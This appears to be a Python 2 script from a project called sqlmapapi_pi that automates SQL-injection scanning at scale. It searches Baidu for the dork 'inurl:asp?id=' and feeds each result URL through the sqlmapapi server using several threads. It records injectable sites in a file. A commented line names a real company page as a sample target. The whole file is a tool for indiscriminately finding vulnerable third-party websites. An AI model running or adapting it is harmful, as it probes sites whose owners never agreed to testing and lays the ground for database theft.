sqlmapapi_pi/AutoSqli.py

#!/usr/bin/python
#-*-coding:utf-8-*-
from __future__ import absolute_import, print_function

import requests
import time
import json
import threading
import Queue
from search import baidu
import logging
from config import LOG, API_URL


class AutoSqli(object):
    """
    使用sqlmapapi的方法进行与sqlmapapi建立的server进行交互

    """
    def __init__(self, server='', target='',data = '',referer = '',cookie = ''):
        super(AutoSqli, self).__init__()
        self.server = server
        if self.server[-1] != '/':
            self.server = self.server + '/'
        self.target = target
        self.taskid = ''
        self.engineid = ''
        self.status = ''
        self.data = data
        self.referer = referer
        self.cookie = cookie
        self.start_time = time.time()
        self.logger = logging.getLogger('app.run')
        self.logger.info('Creating an instance of AutoSqli for {0}.'.format(self.target))

    def task_new(self):
        try:
            self.taskid = json.loads(
                requests.get(self.server + 'task/new').text)['taskid']
            #print 'Created new task: ' + self.taskid
            if len(self.taskid) > 0:
                return True
            return False
        except ConnectionError:
            self.logging.error("sqlmapapi.py is not running")

    def task_delete(self):
        json_kill = requests.get(self.server + 'task/' + self.taskid + '/delete').text
        # if json.loads(requests.get(self.server + 'task/' + self.taskid + '/delete').text)['success']:
        #     #print '[%s] Deleted task' % (self.taskid)
        #     return True
        # return False

    def scan_start(self):
        headers = {'Content-Type': 'application/json'}
        self.logger.debug("Starting to scan "+ self.target +"..................")
        payload = {'url': self.target}
        url = self.server + 'scan/' + self.taskid + '/start'
        t = json.loads(
            requests.post(url, data=json.dumps(payload), headers=headers).text)
        self.engineid = t['engineid']
        if len(str(self.engineid)) > 0 and t['success']:
            #print 'Started scan'
            return True
        return False

    def scan_status(self):
        self.status = json.loads(
            requests.get(self.server + 'scan/' + self.taskid + '/status').text)['status']
        if self.status == 'running':
            return 'running'
        elif self.status == 'terminated':
            return 'terminated'
        else:
            return 'error'

    def scan_data(self):
        self.data = json.loads(
            requests.get(self.server + 'scan/' + self.taskid + '/data').text)['data']
        if len(self.data) == 0:
            #print 'not injection\t'
            pass
        else:
            f = open('data/injection.txt','a')
            f.write(self.target+'\n')
            f.close()
            self.logger.warning('injection \t')

    def option_set(self):
        headers = {'Content-Type': 'application/json'}
        option = {"options": {
                    "randomAgent": True,
                    "tech":"BT"
                    }
                 }
        url = self.server + 'option/' + self.taskid + '/set'
        t = json.loads(
            requests.post(url, data=json.dumps(option), headers=headers).text)
        #print t

    def scan_stop(self):
        json_stop=requests.get(self.server + 'scan/' + self.taskid + '/stop').text
        # json.loads(
        #     requests.get(self.server + 'scan/' + self.taskid + '/stop').text)['success']

    def scan_kill(self):
        json_kill=requests.get(self.server + 'scan/' + self.taskid + '/kill').text
        # json.loads(
        #     requests.get(self.server + 'scan/' + self.taskid + '/kill').text)['success']

    def run(self):
        if not self.task_new():
            return False
        self.option_set()
        if not self.scan_start():
            return False
        while True:
            if self.scan_status() == 'running':
                time.sleep(10)
            elif self.scan_status() == 'terminated':
                break
            else:
                break
            #print time.time() - self.start_time
            if time.time() - self.start_time > 500:
                error = True
                self.scan_stop()
                self.scan_kill()
                break
        self.scan_data()
        self.task_delete()
        #print time.time() - self.start_time

class myThread(threading.Thread):
    def __init__(self,q,thread_id):
        threading.Thread.__init__(self)
        self.q=q
        self.thread_id=thread_id
    def run(self):
        while not self.q.empty():
            #print "threading "+str(self.thread_id)+" is running"
            objects=self.q.get()
            result=objects.run()

def main():
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('-n', '--num', default=4, nargs='?', type=int, dest='num', help="Thread num")
    parser.add_argument('-p', '--page', default=3, nargs='?', type=int, dest='page', help="Search Page num")
    parser.add_argument('-d', '--log', default=LOG["filename"], nargs='?', type=str, dest='log', help="The path of debug log")
    args = parser.parse_args()
    logger = logging.getLogger('app')
    logger.setLevel(LOG["level"])
    fh = logging.FileHandler(args.log)
    fh.setLevel(LOG["level"])
    formatter = logging.Formatter(LOG['format'], LOG["datefmt"])
    fh.setFormatter(formatter)
    sh = logging.StreamHandler()
    sh.setLevel(LOG["level"])
    sh.setFormatter(formatter)
    logger.addHandler(fh)
    logger.addHandler(sh)
    urls = []
    logger.info('the program starts!')
    pages = args.page
    key = 'inurl:asp?id='
    urls = baidu.geturl(key, pages)
    #print urls
    workQueue = Queue.Queue()
    for tar in urls:
        s = AutoSqli(API_URL, tar)
        workQueue.put(s)
    threads = []
    nloops = range(args.num)   #threads Num
    for i in nloops:
        t = myThread(workQueue, i)
        t.start()
        threads.append(t)
    for i in nloops:
            threads[i].join()
    logger.info("Exiting Main Thread")
        
if __name__ == '__main__':
    main()




    # t = AutoSqli('http://127.0.0.1:8775', 'http://www.changan-mazda.com.cn/market/runningmen/article.php?id=191')
    # t.run()